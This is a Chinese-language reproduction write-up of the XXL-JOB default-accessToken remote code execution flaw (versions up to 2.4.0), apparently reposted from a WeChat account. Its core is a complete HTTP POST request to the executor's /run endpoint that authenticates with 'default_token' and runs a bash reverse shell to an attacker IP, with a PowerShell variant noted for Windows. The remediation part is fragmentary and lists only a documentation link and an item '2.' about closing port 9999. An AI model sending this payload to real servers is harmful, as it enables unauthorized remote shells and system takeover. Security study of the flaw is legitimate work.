一、漏洞描述
XXL-JOB是一个分布式任务调度平台,其核心设计目标是开发迅速、学习简单、轻量级、易扩展。现已开放源代码并接入多家公司线上产品线,开箱即用。默认配置下,调度通讯accessToken不是随机生成的,是使用application.properties配置文件中的默认值。在使用中如果没有修改默认值,攻击者可利用默认绕过认证,从而调用executor,导致执行任意代码。
二、影响范围
<= 2.4.0 |
三、复现环境
被攻击机:【虚拟机 ubuntu 18 x64 ip:192.168.43.23】
攻击机器:【 win10 x64 ip:192.168.43.129】
步骤:
第一步、被攻击机器搭建 xxl-job
docker 搭建
POST /run HTTP/1.1
Host: 192.168.43.23:9999
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.99 Safari/537.36
XXL-JOB-ACCESS-TOKEN: default_token
Connection: close
Content-Type: application/json
Content-Length: 397
{
"jobId": 1,
"executorHandler": "demoJobHandler",
"executorParams": "demoJobHandler",
"executorBlockStrategy": "SERIAL_EXECUTION",
"executorTimeout": 0,
"logId": 1,
"logDateTime": 1586629003729,
"glueType": "GLUE_SHELL",
"glueSource": "bash -i >& /dev/tcp/192.168.43.129/12345 0>&1",
"glueUpdatetime": 1586699003758,
"broadcastIndex": 0,
"broadcastTotal": 0
}
windows 用"glueType": "GLUE_POWERSHELL",
burpsuit发送poc后,成功接收到shell
四、测试反弹shell录屏
https://www.xuxueli.com/xxl-job/#5.10%20%E8%AE%BF%E9%97%AE%E4%BB%A4%E7%89%8C%EF%BC%88AccessToken%EF%BC%89
2.关闭对外开放的9999端口。
本文仅供参考学习,请勿使用本文中所提供的任何技术信息或代码工具进行非法测试和违法行为。本文所提供的技术信息或代码工具来自于互联网,仅供于学习。若使用者利用本文中技术信息或代码工具对任何计算机系统造成的任何直接或者间接的后果及损失,均由使用者本人负责。使用者应该遵守法律法规。
原文始发于微信公众号(三年2班周星一):xxl-job 默认accessToken远程代码执行漏洞复现
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论